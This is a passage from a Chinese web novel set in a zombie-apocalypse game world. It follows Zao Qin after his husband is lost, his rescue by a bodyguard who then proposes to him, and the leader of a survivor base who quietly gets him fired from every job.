他有点烦闷的表情让宋呈唇角扬起一点弧度,“有可能。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 第 71 章 老公没了但保镖在 枣芩:…… 他自己听到这话都觉得羞。 “跟我住吧, 所有房间你随便选。我每天带你吃你喜欢吃的,照顾你,就像我当时说的永远喜欢你。要下副本我们就一起去, 你什么都不需要担心, 好不好?”他口吻很认真, 眼中流露出温柔神色。 所有的条件都是对枣芩有利的。 枣芩抿着嘴唇不说话, 不心动是假的,他看到过论坛说宋呈是新人王, ATE非常重视他。他实力那么强, 要是有他带着的话,枣芩就可以基本不担心自己的生命安全了。 半晌, 枣芩问:“哪来的那么多好事给我啊,你要什么?” 宋呈感受着怀里温热柔韧的身体,身体里流淌的血液都热了。他笑着,像条蛇一样, 缠绕着枣芩的身体,“我要每天都能看到你。” 他要时间。时间能让一个人爱上另一个人。 【那个10万、不20万, 已经撤了。】 【据我所知已经找到喽,现在可能发展到强取豪夺、虐恋情深了】 【你想多了,强不了一点,某位跟狗一样舔, 你去中心路蹲几天吧, 说不定运气好会看到他们】 【额、谁有那个条件蹲几天,你给积分啊?给我就去。】 【话说谁还有图,那张一寸照。我心心念念到处找,全都是骗积分的,线下交易, 厚金酬谢,地址在我主页】 [已删除] 【怎么可能有啊,存下的都被删了,别在这里找了,还不如去中心路,说不定能见到本人】 【还有办法,进ATE,盲猜那位马上也要进了,进去说不定能天天看到,想想都爽】 【真靠了,一路看下来,一个比一个难,仙女啊?演的吧。】 【你见了就知道】 枣芩没有想过加入ATE,宋呈也没想让他加入ATE。 自从枣芩来了他家,ATE那群人有事没事上门找他,上次那几个回去不知道说了什么。 他们进来就东张西望,若无其事问:“就你一个啊?” 宋呈看着他们,周身的气压低得吓人。 枣芩也是胆小,本来在客厅沙发待得好好的,听到外面有人按门铃,他就警惕地竖着耳朵,猫似的溜回自己房间去了。 宋呈心里全是枣芩好乖,有那么几次也会想,枣芩是不是不想让别人知道自己和他住在一起。 这种事情全在他一念之间,这种念头也总是突如其来,人还在基地,自己表情已经阴郁下去,吓得旁边人绕道走。 客厅柔软的沙发床上,枣芩侧躺,睫毛紧紧闭着,抱着抱枕睡得很香。另一只手在脸侧自然蜷着,指尖葱白如玉透着正常的血色。 睡着的样子非常乖顺。 宋呈缓缓坐在地上,安静看着枣芩,觉得眼前这一切不真实。这个场景,像是他们已经住在一起很久了,这是最普通的一天,枣芩睡着在家里的沙发上,等待他回家。 他轻轻把自己的手指塞入枣芩的指缝,与他十指相扣。 举起来闭上眼睛,一个虔诚的吻落在枣芩手背上。 · 灰尘充斥在每一寸空气,建筑荒废,生物杳无踪迹,看不到一个人。 天空、眼前都是黄蒙蒙的,可视度很低。 一辆黑色越野从其中穿梭而过,冲出尘雾。 枣芩独自坐在车后座,止不住的发抖,浑身落了一层尘土,脸上最是显眼。 就在刚才,他差点被一栋坍塌的大楼压在下面,漫天的灰尘就是被这大楼激起的。 而说好让他不担心生命问题的宋呈,此时已经被压在下面,都不知道是死是活。 枣芩认为他是活着的。 都说他厉害,肯定不会被忽然倒塌的楼压死。 他们进入副本时,末世还没全面开始,他们两个是在校快毕业的大学生,但并不是同一个系,甚至不应该认识。 宋呈一进来就立马找到了枣芩,认识他们的人都还在震惊他们是什么时候相识时,宋呈已经拉着枣芩去领了证,宣布他们结婚了。 好歹也是风云人物,半个学校的人都一脸懵,震惊不已这两人居然认识,还是一对。 而在他们进来之前,宋呈这个身份位高权重的父亲早已察觉到预兆,但自顾不暇,只给儿子这边分了个雇佣兵保护他,让他快点回首都。 宋呈不需要,也看不顺眼这雇佣兵,准备赶他走。 到了现在,却成了唯一能保护枣芩的人。 枣芩惊魂未定地抬起头,满脑子都是大楼坍塌那一刻。他下意识往里冲去找宋呈,却被褚风一拽,直接扛在肩上逃离了事故区域,把他扔进了车后座。 他与车内后视镜中的男人对视上,一双淡薄冷肃的下三白眼。 褚风的外套被扔到副驾驶上,里面仅仅套件黑背心,肌肉精健,并不厚重。他单手掏出盒烟,叼出一根。在车内后视镜中问枣芩:“介意抽根烟吗?” 枣芩怔怔抬起有点懵的脸,像是反应不过来,呆呆愣愣,有点可怜。 他才刚刚目睹了大楼倒下、差点丢了命,还没了爱他的老公。 褚风漫不经心地想着。 就在昨天,他出去找物资,却见那家便利店已经被扫荡一空。 远远隔着灰暗半透明的车窗,他看到一只纤弱的手被按在玻璃上,压出压痕,却也不反抗不挣扎。 他在外面抽烟,转过头去没看,估摸着时间回来。他一开门,密不透风的车上热腾腾的香味扑面而来,全是属于枣芩的。 而人靠在他雇主儿子的怀里,连脸都看不到,只觑见一眼,一截雪白泛红的脖颈,他疑心是被舔出来的。 雇主儿子叫他开窗,对他抽烟这件事很不悦,因为会熏到他的爱人。 据说已经是合法婚姻关系了。 看起来年纪还很小,应该也是大学生,过于单纯漂亮,似乎没有什么自保能力,被恶狼盯上叼回窝也不是稀奇事。 褚风眉心皱起,后悔没有控制住,就下意识把他扛走救下来,现在酿成了错。 他胸腔烦闷吸了口烟,模糊了眉眼。 他认为末世里这种人活着才痛苦艰难,还不如让他幸幸福福跟他对象一起走。现在反倒给自己找出事了。 【可恶的宋狗,把我老婆带进这么危险的副本自己人没了!】 【……现在好了,这保镖看着,反正也不像好人,居心叵测】 【希望保镖大哥好好保护我宝宝,不要欺负他】 漫天的土尘逐渐消失,眼前一切变得清晰起来。褚风把所有车窗都开了,让干净的空气进来。 枣芩才忽然觉得喉咙干痒、不舒服,皱着脸咳嗽了两声,肩膀一抖一抖的压不住。车内没水了,他只有忍忍。 车行驶的速度加快,应该是可以看得到了的原因。 他们毕竟是从比较繁华的地带出来,很快就看到了一家便利店。 枣芩眼睛一亮,没来得及叫停,褚风已经停了车,一言不发就下去了。 枣芩赶忙自己开了车门跟下去。 便利店瓷砖地板上歪七竖八的脚印杂乱无序,收银台入口处有一大摊血迹,时间太长而暗沉风干,变成了红棕色。 售货架倒了一排,上面也沾着喷射状的血。那排是零食全都倒在地面。 枣芩看到这场面,都能想象到当时的状况。 丧尸进来用人类牙齿将售货员的身体咬出这么多血,是件困难的事,足以让枣芩幻痛到蹙眉。 枣芩摇摇头没想太多,也没注意褚风。 不远处透明的冰箱有一些饮料还没补货,枣芩快步过去拧开瓶矿泉水,连忙微仰头喝了几口。 在原地一直喝了半瓶,喉咙才好受一些。 越到后面肯定很难遇到有东西的便利店了,枣芩去货架上找到个折叠大袋子,一排一排往里揽,装了满满当当一大袋,艰难扛着一大袋往外走。 褚风把后备箱开了,正往里搬一大箱东西,看包装是泡面,脚底下还堆着几箱别的。 他手臂上青筋绷起,动作利落。 枣芩转头在便利店镜子里看到灰头土脸的自己,以及艰难提着的大袋子。 这么一段距离,枣芩手臂都快断了,行动踉跄像个小老头,缓缓放进后备箱,额头上迅速渗出丝丝汗。 他一口气还没松完,他的那袋水就被褚风一只手又提了出来,丢到地上。 “你干嘛!?”枣芩抬头不敢置信盯着他。 脸脏,嘴唇上亮亮的,带着水光,明显刚已经喝过水了。 褚风瞥了他眼,手指扣进箱子里,推了进去,“放后座去,这里放箱子。” 他手上动作没停,接着搬东西。 枣芩站了好一会,只好又扛着放到了后座,转头进去又去开了个袋子用来装食物。 他挑挑拣拣找自己喜欢的,只吃自己袋子里的,也可以吃很长时间。吃完大概也找到新的物资了。 自热火锅、饼干、巧克力,一切能塞的,都塞进去。 袋子的一点缝隙都不放过。 直到后备箱装不下,褚风又找了些放在车后座,就上了驾驶位,枣芩愣了愣,只得上了副驾驶。 宋呈不在了,他一个人坐在后面也确实不太好,显得褚风像他的司机,不礼貌。 枣芩把自己背包里原本的一包湿巾拆开,低着头,胡乱擦了几下脸,估摸着擦干净了,又认真擦灰扑扑的手。 褚风发动车,看了眼旁边坐着的人。 脸蛋擦得很白净,皮肤跟雪似的。睫毛眉毛都稍微湿了一点,眼尾几根长睫毛粘在下眼尾,这种时候了还惦记着脸上有没有灰。 要是未来落到某种下场,岂不是要天天哭,到时候保持整洁就不像现在这么简单,只需要几张湿巾了。 他视线往下,沉默两秒伸手过去,枣芩正要给他递湿巾,一句要不要还没出口,看到他朝自己脸上探过来的脏手,枣芩满脸错愕地飞快后缩,别过脸、耸着肩膀不让他摸。 褚风悬在空中的大手只停顿一瞬,随后接着过去,拉出安全带给他卡好。 枣芩感受着身体一点禁锢感,垂眼盯着系好的安全带,眼皮微颤,缓缓侧头看窗外,难堪地咬住了嘴唇。 这段时间总是被宋呈做亲密举动,看到伸过来的手他就觉得要被摸脸,再摸嘴唇,再往下摸了。 搞得他好尴尬啊…… “湿巾。”褚风开着车,突然说:“给我一张吧。” 枣芩咬着牙,老老实实抽出一张转头递给他。 褚风没什么表情,懒散靠在座椅上,接过去,在脸上擦了擦,又跟枣芩一样擦了手,丢出窗外。 他没什么反应,枣芩见状跟着轻松了一点,不动声色歇了口气,把湿巾放回背包里。 褚风眼中划过戏谑的一抹笑,扭动方向盘拐弯,语气上漠然:“放心,我有职业操守的,不会对雇主的人感兴趣。” 他转头对着枣芩微微放大的眼睛,平静道:“我也不喜欢男的。” 【家人们,好熟悉的一幕……】 第72章 第 72 章 你要跟我吗 “……” 枣芩哑口无言, 他也没说什么吧,就是无意识躲了一下而已。 枣芩抿着唇再次别开头。有点恼羞成怒的想,他不想跟褚风说话了。 没了宋呈, 他们的目的地也没改变, 接着在去往首城基地的路上。 夜里天空汇聚着大片的云, 层层叠叠遮住月光, 像是天空盘踞着一条阴森的蛟。 褚风为快而走了近路,这路比较偏僻, 导致这片暂时没有可以住一晚的地方。 车内开着小而暗的车顶灯, 外面漆黑一片,仿佛整个世界只有他们两个人的存在。 褚风放下了座椅依旧有一些弧度, 他双臂环胸闭着眼睛,一副要睡觉的样子。 枣芩研究半天才学着他放下座椅,躺下蜷缩起身体。 入秋的季节很凉快,但到了晚上就变成了飕飕冷意。 枣芩闭着眼睛想着宋呈会不会回生死之界了?脑海中还浮现了今天从楼里出来后, 有一辆黑红相交的车在追逐他们,但那辆车很快就放弃了。 哪怕土尘很快弥漫视野, 他也清晰记住了那辆车的模样,红黑色的越野车,像匍匐的怪兽,车灯就是他的眼睛。 大楼不会平白无故倒塌, 会不会就是他们干的? 枣芩原以为自己会很难入睡, 可想着想着,他就没了意识。 睡梦中,他松松抱着自己的手臂,冷得无意识颤抖。 可片刻后,身上倏然就暖和起来, 他紧绷的小脸缓缓放松,陷入深度睡梦。 枣芩半梦半醒听到了毫无节奏的地撞击声,身体摇晃像在一艘小船上。 他不由自主蹙眉,慢吞吞睁开眼,朝着声音发出的方向看去。 第一想法是,宋呈又在干什么? 近在咫尺的车窗玻璃上,映照着两张皲裂血污的人脸,像是腐烂沾了血的橘子皮。他们挤在一起,黑洞洞的眼睛正对着枣芩。 接连不断的拳头撞上去,关节暴露出苍白骨头,车窗玻璃像强弩之末,下一秒就要裂开了。 枣芩犹如被泼了透心凉的冷水,瞬间清醒坐起来,往后缩。 他第一想法就是叫旁边的人快点开车,还没来得及开口,就下一秒,枣芩听见玻璃撑不住破裂的声音。 一股腐臭味道迅速涌入鼻腔,令人作呕。 他们感受不到疼痛,不怕尖锐的玻璃,上手锤掉。 枣芩惊恐不已,立即对旁边人喊:“快点开车。” 说出口的那刻,枣芩眼前闪过什么,黑了一下。 车顶灯被遮住,存在感极强的身体动作极快,褚风不知道是怎么做到的,竟直接对着车窗裂开的地方,对着丧尸的头来了一脚。 接近着,枣芩听到了丧尸倒地的沉重声音。 褚风挤在枣芩和车头的空隙,一条腿跪在枣芩大腿旁边,侧头看着脸色发白,比他预想的状况要好百倍的枣芩,语气不变说:“我把周围几个清理一下,我们等会就离开。” 随即,他就开了车门锁。 枣芩怀里猝不及防被他丢了一个硬物,褚风下车关上了门,车顶灯重新发挥作用,枣芩才看清自己怀里的,是一把纯黑的手枪。 他吞咽口水,没有犹豫拿起手枪对着车窗,生怕再探进来一个狰狞的头来,一口咬到自己。 好在并没有。 外面天色渐亮,枣芩探头去看褚风,褚风拿着把长刀,不知道是时候拿出来的,动作利索精准无误地解决了好几个。 枣芩没有想下去帮他的意思,他有自知之明,他下去就是在给褚风添乱。 枣芩脊背僵硬到没法放松,手上稍微松了松,有些冷汗,他低头看见自己身上盖着条灰色毯子,是睡前没有的。 褚风察觉到情况不对了,这丧尸连绵不断似的,杀了一群又来一群,他身上出了层汗,有些招架不住地下了决定。 转身便看到驾驶位那边的门不知怎么被开了,一个穿着黑白格子衬衫,脸上烂的牙齿都能看到的丧尸正在上车。 枣芩拼命对着他扣动扳机,见没用,就开了车门要跳下来。 眼看着地上还躺着一个他踢倒的,居然还能动,细微动作要爬起来。 褚风瞳孔震颤,冲过去接住枣芩,单手抱着他,再次冲着地上丧尸的头狠踹了一脚,那丧尸被踢到了车底下,身体被轮胎挡住。 枣芩手指抓着他的肩膀,因为太用力指节泛白。 褚风从枣芩手中接过手枪,手臂支撑着他枣芩的大腿,上膛,射击。 丧尸应声倒地。 他把被吓得不轻的枣芩放回副驾驶,自己也上去,对他说:“关车门。” 随后一脚踢出丧尸的身体,随着肉、体倒下,地面激起一片尘土。 车门“砰”关上,不顾接踵而至的丧尸,褚风直接碾上去,车身明显压过东西,他对着枣芩窗边往里钻的丧尸又开了一枪。 子弹就在枣芩眼前飞过,他气息都滞了一秒,车辆朝着来时的路驶出老远,枣芩才反应过来自己不需要怕子弹。 “那条路上全是丧尸,我们现在走远路。”褚风开着车对枣芩说,不知道什么时候又点了根烟,火星闪烁。 枣芩抱着怀里灰色的毯子,闷闷“嗯”了声,下意识朝窗看去,这下也不用开窗了。 天色已经彻底明亮,大概是早上五六点左右的样子。 没有信号,手机也在前几天就没电了,就放在背包里,没有可以用来看时间的东西。 褚风转头去看时,枣芩已经抱着毯子睡着了。纤薄身体陷在座椅里,露着一截细白腕骨,手指一点茧子都没有,一看就没吃过什么苦,简直都像没上过学,中指上都没有茧。 从来没吃过苦的娇气样子,在经历生死关头后,居然不到一个小时就又睡着了,心倒是挺大。 褚风视线肆无忌惮地在他身上流连,从头到脚地扫量,像是对之前他老公不让看的补偿。 他忍不住又单手点燃了根烟,从右手换到左手,悬在车窗外,眸中若有所思。 枣芩醒来肚子饿了也没说,褚风也肯定会饿,他吃的时候自己也吃,这么一等就等到了快中午。 褚风找地方停了车,饶有闲心地支了张桌子、两个折叠小板凳,就开始处理自热火锅。 枣芩犹豫地下车,警惕地观察着周围,心绪不宁问:“丧尸不会出来吗?” “这块应该没有。”褚风眼皮抬了抬,下三白眼看起来很凶很冷漠,一股拒人于千里之外的气息。他说:“有也有我。” 枣芩:…… 褚风把弄好的自热火锅推到枣芩面前,热腾腾的雾气裹挟着香辣味,枣芩本就饿肚子,立马忍不住开吃。 吃得差不多了,就小口小口心不在焉起来,还在注意周遭。 自热火锅有点辣,褚风把料包全放进去了,枣芩没一会就吃得发汗,嘴唇红彤彤地喝水,舌尖都辣红了。 褚风半眯着眼睛直勾勾盯着他,蓦然开口,话语清晰又自然地问:“你要跟我吗?” “?”枣芩拧好瓶盖,舔了下嘴唇,宕机两秒才小声说:“我跟着你呀。” 是不想带他了吗?觉得他是累赘了。 空气安静了几秒,只剩自热火锅还在沸腾的声音。 褚风侧过脸看向别处,半晌又转过来说:“不是这个意思。” “……反正那个已经死了。现在去了基地也肯定不是安全社会,你需要人保护你,也需要人照顾你。” 他停顿片刻,又重复一次,“跟我吗?” 枣芩听明白了,他表情没变,只睫毛眨了眨,“啊、我感觉他会回来的,而且……我现在不想谈恋爱。” 也不想在这么危险的副本里发展不该有的感情。 两人之间的气氛再次寂静。 枣芩居然觉得他是想和他谈恋爱,还不同意。 褚风拿起可乐,猛灌了几口,喉结翻滚,他一瓶直接喝完,手指把易拉罐捏扁,松开咬着的牙,又恢复了神色自若的样子,“没事,我就是看你长得还不错,不是对你有什么想法,你可以放心。” 褚风嘴巴一张一合,枣芩辣得脑袋发晕,都没听清。 好像是夸了他长得不错。 “哦,谢谢。”枣芩抬眼看了他一下,讪讪道。 【一次的勇敢换来终生的内向。】 【谁打赌说两天的,太保守了】 【我不喜欢男的~~~能不能别这么快。】 【《长得还不错》是不错吗?嗯?说话】 【跟我吗?】 【给我整笑了,宝宝还乖乖说了谢谢,谢谢你没想法。】 再回到车上,两个人若无其事,和之前一样,像是根本没发生过“跟我事件”。 枣芩把喝了一半的水放回背包里,偷偷观察褚风开车的样子,开车看起来并不难。但气氛僵持,他也不好意思提出能不能自己学一下。 昔日繁华的主干道变得萧瑟,近路走不了,只能绕远路。一场毁天灭地的灾难后,看到这些建筑只会让人心里感伤。 枣芩是来做任务的,知道这一切都不可避免。褚风更不是往回看的个性,他顺应适者生存的法则,已经发生了的事情极少难受,又或者说不能也不想难受。 发生还能怎么样,接着找出路就是最好的解决办法。 不纠结不浪费时间。 就像他发觉自己看枣芩时,心里从未有过的微妙异常与悸动,胸口发胀。 在危机关头搂抱了他一下,开车时都反刍一般回味,不停地想起那一刻,枣芩的手紧紧扣着他的肩膀,姿态依赖,而自己的手抱着枣芩的大腿肉。 连带着摸着方向盘的手掌都隐隐发热,似乎还残存枣芩大腿的温度。明明他隔着布料,根本没感受到温度。 所以他没过多犹豫就找机会提出来了,他认为自己以后也肯定要提的,还不如早点说。 只是他没想过枣芩会拒绝,那么孱弱漂亮,难道他自己没预想过自己可能面临的风险? 还是一心想着他的老公,觉得他会回来,所以为他守身如玉? 反正结果是令他不愉快的。他是个果断的人,枣芩没同意他也不纠缠。 天空阴沉沉,昨夜积攒的云凝结成水珠,屋漏偏逢连夜雨,又下起了雨。拍打在车上,天气更冷了,枣芩扯了扯毯子盖住自己。 远远的,他好像看到了好几个黑色的身影伫立,他转头告诉褚风,“我们前面有人。” “嗯,看到了。”褚风淡淡道。 他打算快速绕开,他们车上都是物资,怀璧其罪,过去百害无一利。 他一变道,对方却好像察觉了,黑色人影举起黑色的东西,架在肩膀。 紧接着,枣芩坐着的越野车车身轻晃,接二连三的子弹打在轮胎上,整个车明显泄了气。 枣芩连忙看向褚风,瞬间感觉天气更冷了。 褚风眉头拧紧,握紧了手枪,没看枣芩,出声叮嘱:“躲到后面去不要说话。” 枣芩听他这么说,心下觉得危机,脸白了瞬,手忙脚乱地从中间钻到后面。在车靠背后狭小的位置与物资挤在一起蹲下,咬着唇尽量放轻自己的呼吸。 肆无忌惮的脚步声靠近,还有雨滴滴落在他们身上的微弱响动,枣芩都捕捉到了。 男声毫无遮挡传进来,带着不合时宜的嬉笑:“你好啊?这是要去哪里?” 他的口吻不仅不让人觉得亲近,反倒因为与环境的不合时宜更令人不适。 褚风缄默没说话。这几人打了他们的轮胎就代表暂时不想伤人,又想让他们停下,总之决没好意。 “呃,不好意思,我们不是故意的。这两天往我们这里闯的人太多,来抢物资。下意识就开枪了,没伤着你们吧?”他正经说话听起来声音也很年轻清亮,应该也是大学生的年纪。 枣芩不敢抬头,但对方说‘你们’,肯定是看到他了,他不安地抿抿唇,不明白他们要干什么。 褚风的声音开口问:“你们要在这个中学定居?” “嗯,选这个地方建基地不错吧,我们老大挺牛的。对了,给你透个底,这病毒短时间可消失不了,人多力量大嘛。对吧?”他又自来熟笑道。 旁边还有人搭腔,“就是啊,人多力量大,你们来吗?” 褚风没立刻回答,问:“你们基地现在多少人?可别我去了,就咱们几个,或者就几个老弱病残啊。” “哈,几个人也配叫基地?”窗前人嗤笑,觉得褚风小看了他们似的。 旁边人挺得意,“我们接近两百人,我们老大把附近能救的全救了,物资也基本都扫荡了,都在我们基地,附近绝对没有更安全的地方。而且最重要的,这里有稳定的水、” “你行了。”窗前人打断。 过了会,枣芩蹲得小腿肚发麻,紧抱着自己的毯子。 “……那确实挺不错的。”褚风报了名字:“褚风。” “我叫林里。” 林里说完,陡然话锋一转,漆黑笑着的眼睛也跟着转向副驾驶后面,戴着黑色手套的手扒在破裂的窗户,不顾上面还有零碎玻璃。 林里张望着想去看枣芩, “不过……要来的话,我们老大说了,只接收一个人哦。” 第73章 第 73 章 不是滋味 他的话一出, 周遭空气骤然降至冰点。枣芩不由得慌乱,攥紧怀里的毯子。如果褚风跟他们走,就只剩下自己一个人了。 他都不知道去首城的路怎么走, 也不会开车。就算他会, 他们也肯定不会把他那两袋东西留给他, 他该怎么办。 林里笑出声, 在这种情景下很突兀,在枣芩耳中只觉得令人发怵。 “开玩笑的, 怎么可能呢?哈哈哈, 抱歉啊。” 开了后车门,枣芩从车上下去, 看到雨中穿着黑色冲锋衣的几个男人,其中一个手中还拿着步枪,应该就是刚刚说话的林里。 他们几个都在看着他。 淅淅沥沥的雨瞬间打湿了枣芩的白衬衣,冰凉水滴浸润他的皮肤, 他禁不住瑟缩了一下。 枣芩皮肤本就白,淋了雨之后更显得清韧透白。他看了眼林里, 自动贴在了旁边的褚风身侧。 衬衣太过单薄,在雨滴彻底渗透、什么都印出来之前,褚风转身从车里拿出自己的外套扔给枣芩。扯起唇角对着几人问:“你们里面有水吧?” 林里视线隐晦定在枣芩身上,就像是正常在看一个陌生人的眼神, 可他耳边的雨声分明变慢了, 连带着自己的呼吸放轻。 褚风的声音像闹钟般将他拔出来,他视线挪开,“啊、对有热水,可以洗澡。” 这就是老大找的人。 阴沉雨天被打湿的白花,在深暗背景下, 简直像是泛着光,呈现出几分透明质感。风一吹,微湿的发丝乱了几根,扎到眼睛,下意识侧脸躲了下。 “卧靠……” 林里发誓,绝不是自己发出的声音,所以他立马回头去看,看着每个人都像嫌疑人。 枣芩跟着领路的人进去,听到他们说要给车换轮胎,再开到学校里面,跟身旁的褚风要了车钥匙。 枣芩没有选择余地,目前进这里反倒是最好的选择。 他心里想去首城基地,可就算褚风愿意陪他去,别人会放过他们吗。更何况,褚风也不是自己雇的,没理由陪着自己上路。 雨天鬼魂一样的形象,强制性扣下他们的行为,给枣芩留下了不好的印象。他觉得进了这个基地,肯定会遇到很多麻烦事,被他们压迫欺负。 事实却不尽然。 枣芩被分到一个小办公室当住处,窗外可以看到操场、树木。看完住处,他就被带去了后厨。 基地的活计不少,基地正在加固围墙,以免丧尸可以进来。 也可以跟着外出队去寻找物资,会有一定危险性,一般都是身强体壮、有一定战斗力的人才能加入。 谁都能看得出枣芩瘦胳膊瘦腿,一个小少爷样。虽然后厨收入偏低,但枣芩挺满意的。尤其是第二天,他就运气很好地被一个姐姐选去做甜点了。 虽然就他们两个人,小屋也不到十平方,但烘焙小屋比后厨要轻松许多。 唯一让他有些失落的是,他连着一周,都再也没看到过褚风。 他打听了下得知褚风在外出队,住房也是校园另一边,基地管理层住的楼。这个基地的老大、还有林里都住在那边。 这里生活的每个人都有自己要做的事情,枣芩也有。只除了林里,枣芩歪了下头,看到他又在烘焙小屋不远处守着。 乌发朗眉,年纪不大个子倒不低,背靠着墙看手机,枣芩一旦朝他看过去,他就会装模作样看向别的地方。 枣芩有次看到他在玩数独,不过除了单机游戏,也确实玩不了别的。 枣芩今天心情不错,因为他的小饼干越做越好。 他戴着手套,把烤箱里的饼干拿出来,分出一个小塑料盒装了几个,手掌压着盖起来。 随后脱下自己身上浅棕色的围裙和帽子,转身对短发女人说了声,“柚子姐,我出去一下。” 林里眼皮乱跳,看着朝自己走来的枣芩,忍不住看了几眼身旁有没有别人。 没有,就是朝着他来的。 今天没有雨,阳光下,枣芩看起来比那天多了许多活力,白皙脸上薄薄透着血色。 他手里拿着一个小塑料盒子,来到他面前递给他。 林里结巴了瞬,没想到,“给我的?” 枣芩轻轻点头,“嗯。” 林里从枣芩手中接过盒子,隔着塑料,还能感受到里面的热度。他看到这是枣芩亲手做的。 “哈哈边角料吗?”林里有些控制不住自己,心里紧张,反而不合时宜笑起来,“不是边角料我可不要。” 枣芩听他这么说,思忖片刻,他确实没见过爱吃边角料的爱好,小脸皱了皱,认真说:“不是边角料,不过我可以回去给你换。” 见枣芩真要转身回去。 “不用!”林里忙不迭叫住他,伸手想去拉枣芩,手悬在半空,快触碰到他的胳膊时,又急忙停下。 他满脸写着自己有话要说的样子,还隔三岔五跟着枣芩,枣芩倒不害怕,就是好奇他跟自己干什么,站在原地等林里说。 林里捏着塑料盒,沉默半晌,“你还记得我。” 印象太深刻了。 枣芩当时对他的印象不太好,连带着对基地的印象也不好。现在对基地的印象好了,连带着对林里的印象也好了些。 “我记得,那天你打了我们的车胎。”枣芩回忆道。 “然后说、只有一个人能进,又说是开玩笑的。” 林里笑起来显得年纪更小,他把手机塞回口袋,“对,那个是我,我、” “你一直跟着我干什么?”枣芩终于困惑地问出了自己的目的。 林里看了眼烘焙屋,又视线下滑到手腕骨还沾着一点面粉的枣芩,眼皮抬起来,答非所问,“你会觉得有点苦、有点累吗?” 枣芩嘴唇抿了起来,不明所以,诧异地睁大眼睛“啊?”了下。他更不解了。 林里眉头轻皱,下颚绷着,表情看起来很正经。 枣芩被他带动着,都要怀疑他是不是什么调查员,所以才天天那么闲,不自觉直直腰,“没有啊,不累。基地挺好的,我挺喜欢这里的。” 枣芩也不算昧良心,夸赞了一番,却见林里的表情越来越奇怪,挑挑眉,“那就好。” 林里脑海中回荡着老大说过的话,枣芩很娇气,只要让他独自生活一段时间,吃点苦头,他就一定会产生想依赖别人的念头。 到时候他就要问枣芩,要不要跟着基地老大,枣芩一定会顺理成章的答应。并且陷入圈套,还认为是自己的选择,会觉得老大是救命稻草。 可是他走了很远,回头一看,枣芩回到了烘焙小屋,棕色的围裙和帽子在他身上很好看。 他正在和陈柚说话,看起来很开心。 · 下午陈柚出去了趟,枣芩自己独自做了蛋糕,垂着睫毛认认真真打了奶油。 不过半个小时的时间,枣芩怎么也没料到,他捧着自己新做的小蛋糕给陈柚看时,陈柚眼神闪烁,避开了他的视线。 枣芩察觉不对,先把蛋糕放在一旁,问她怎么了。 看得出陈柚并不想这么说,她捋了把头发,扎起来,转身要去工作,但她转身还是说出口了。 她不知道老大为什么突然改变计划,可她并不想看到枣芩难过的脸,声音很低,“芩芩,烘焙房不需要两个人了,上面的人说,人工很稀缺,我太自作主张了。” 枣芩僵住原地,明白她的意思了,自己好像被开除了,他眼睛眨了眨,并不想当着陈柚的面表现出什么情绪,让她内疚不舒服。 “你想要吃小蛋糕的话,我每天都可以给你。你也可以自己来做,但是…没有收入了……”陈柚好像悬着一口气。 枣芩走过去露出一个宽慰的笑,缓缓吸了口气,“没事啊,我可以回后厨去。” 晚上,枣芩有些失眠,他坐起来吃了口自己带回来的小蛋糕,不是很甜,不好吃。还没学会。 他躺回去手指扣着自己的被子,心里酸酸麻麻的、闷闷的,很不舒服。 第二天,枣芩早早就去与他格格不入的后厨,却被告诉不收人了,人已经满了。 明明之前说后厨缺人,现在人不仅没多,还少了一个,反倒不缺了。 枣芩不明白怎么会这样,只站在原地不知所措。 他想来想去,又去了加固围墙的地方,忽然出现一个负责人告诉枣芩这里不缺人。 可是他要是没有工作,就没饭吃,会饿死的。 枣芩苦闷不堪地踢地上的小石头,突然感觉这个基地一点都不好。 现在只剩下外出队可以试试,他好歹曾经在外面生存过,虽然是跟着褚风。但说不定外出队就正好缺人,破格录取他。 【喵喵喵?】 【什么意思,感觉不对啊,有剑狗作祟!】 【这是想逼我老婆去做金丝雀吧……】 【宝宝看起来很难过了,抱着宝宝哄哄,这人最好中午出门,因为早晚会弄死他】 【我老婆好可怜呜呜呜】 枣芩心虚地来到大门不远处的角落里,他也不知道去哪里说,早上倒是看到外出队出去了,准备等他们进来就上去问怎么才能加入他们。 他等了好半天,路过的人都盯着他看,枣芩感觉从脚底烧到了头发,尤其是脸上热得慌。 大门敞开的声音响起的一瞬,枣芩就立刻站了起来,抛弃了地上的蚂蚁。 第一辆车接连下来八九个穿着利索的人,第二辆车没停,径直朝着里面进去了。 今天收获应该不错,那几人有说有笑,形成了一个天然的屏障,让枣芩插不进去,于是怎么也迈不出第一步。 他无意识咬着下嘴唇,鼓鼓勇气想要走过去,恰好和一个人对上视线。 枣芩一个人站在角落里,依旧显眼得过分,林里不由得怔了怔,跟旁边人说了什么,对着枣芩挥手,旁边人的视线也跟着去看枣芩,顿了秒。 枣芩看到他的口型在说:“等等我。” 枣芩弱弱指了下自己,虽然他知道是在对他说,但他还想确定一下。林里点头,重新钻回车里,没片刻就跳下车,朝着他这边奔来。 车辆重新启动驶进去。 林里微弓着腰,隔着布料握着枣芩的手臂,带着他穿过树丛,往更角落走,随后从怀里掏出东西放在他手上。 枣芩低头看着,睫毛动了动,“香蕉。” 林里目不转睛看他,“这可是不是一般的香蕉——是我拿命换来的香蕉。” 枣芩:“啊?” “逗你的,吃吧。”林里看他一点没笑,中指指节讪讪摸了摸鼻子。 枣芩坐在旁边的小台阶上,膝盖并得紧紧的,小口吃着香蕉,整个人看起来蔫耷耷,昨日充斥的活力,今天就消失不见。 林里自然知道为什么,心里很不是滋味,不受控制侧开视线。 枣芩吃到一半,抬头看他,口吻是小心翼翼的试探,“林里,你们外出队还缺人吗,我可以跟你们一起去吗?” “……” 林里视线难免看了枣芩一眼,看到了枣芩白皙脸上尴尬又有点难堪的表情,有点可怜地正在等待他的回答。 见他没说话,枣芩轻轻咬了口香蕉,只好故作轻松地补充,“我被开除了……今天还没吃饭。” 枣芩从昨天到现在都没怎么难过,只觉得发愁接下来该怎么办,屡屡碰壁也觉得还有一条路,就这么支撑着自己,都没发觉自己饿了。 现在看到林里一言不发,身体挡住了树下缝隙间落下来的阳光,最后一条路好像也被斩断了,他才明白自己是还没来得及难过。 眼睑迅速地泛红,他鼻子一酸,低下头不想让外人看到他的表情,盯着自己的腿,他想把这种想哭的冲动压下去。 可是一眨眼,一滴泪珠就掉在了腿上,洇湿在布料,紧接着就是好几滴。 第74章 第 74 章 这里是个神经病院 枣芩哭得没有一点声音, 只很细微的吸了下鼻子。不远处就是操场来来往往的人,这点声音几乎听不见。 林里心脏却骤然收紧,呆站在原地, 才缓缓蹲下身子。 